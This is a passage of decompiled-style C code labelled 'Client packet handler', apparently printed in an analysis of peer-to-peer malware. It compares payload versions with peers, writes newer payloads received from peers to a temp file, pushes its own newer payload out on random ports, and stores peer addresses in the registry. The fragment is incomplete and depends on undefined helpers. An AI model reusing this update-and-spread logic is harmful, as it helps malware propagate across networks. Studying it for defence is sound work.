msglen, int locaddr, int a5, int protocol, void *sock, char* sentmsgbuf,
int result, int external_addr) {
*(_DWORD *)result = 0;
bzero(external_addr,sizeof(external_addr));
if (parse_recvd_packet(&pm, recvmsgbuf, msglen, 0, peeraddr, protocol, sock) ) {
version = get_payload_version();
/* remote server's payload version == local version */
if ((version & 0x7FFFFFFFu) == (pm.payload_version & 0x7FFFFFFFu) ) {
if (!pm.payload_offset && !pm.payload_data )
goto ADD_TO_PEERLIST_AND_EXIT;
}
/* remote server's payload version > local payload version */
else if ((version & 0x7FFFFFFFu) <= (pm.payload_version & 0x7FFFFFFFu) ) {
if (pm.payload_data && pm.payload_version >= 0 ) {
ushort peer_port = 0;
if ( protocol == 6 ) peer_port = *(_WORD *)(peeraddr + 2);
create_temp_file(pm.payload_offset!=0, *(_DWORD*) (peeraddr+4), peer_port,
(int)*(locaddr+4), *(_WORD*)locaddr+2, protocol,
version & 0x7FFFFFFF, pm.payload_version & 0x7FFFFFFF);
}
}
/* local payload is newer than remote */
else if ( !pm.payload_data && version > 0 ) {
poff = pm.payload_offset;
rand = (unsigned int)critical_generate_random();
if (protocol == 6 )
rand = rand % 0xC01 + 1024;
else
rand = (_DWORD)rand % 0x201u + 512;
call_RegSetValue((int)&rem_payload_len, (unsigned int *)&payload_size, poff,
&payload_data, (DWORD) rand);
if (payload_size && external_addr && protocol == 17 && !poff ) {
if ( *(_BYTE *)(recvmsgbuf + 8) & 8 )
build_sockaddr(0, pm.external_ip, external_addr,
htons_0(pm.external_port));
}
is_loc_IP = check_if_peer_IP_in_local_subnet(payload_size, *(_DWORD *)
(peeraddr + 4));
generate_new_message(sentmsgbuf, result, 1, is_loc_IP, protocol, 0, version,
poff, v23<=0, payload_size, &payload_data, 0);
ADD_TO_PEERLIST_AND_EXIT:
if (!a5 && !(*(_BYTE *)(recvmsgbuf + 8) & 2) &&
!is_private_subnet(*(_DWORD *)(peeraddr + 4))
&& call_check_IP_is_in_ranges(v21) )
update_registry_with_addr(*(_DWORD *)(peeraddr + 4), peeraddr);
goto EXIT_THREAD;#
}
*(_DWORD *)result = 0;
if (external_addr )
bzero(external_addr,sizeof(external_addr));
EXIT_THREAD:
prolog_exit_thread((unsigned int)&v47 ^ v43, ebp0);
}
SOURCE
LISTING 15: Client packet handler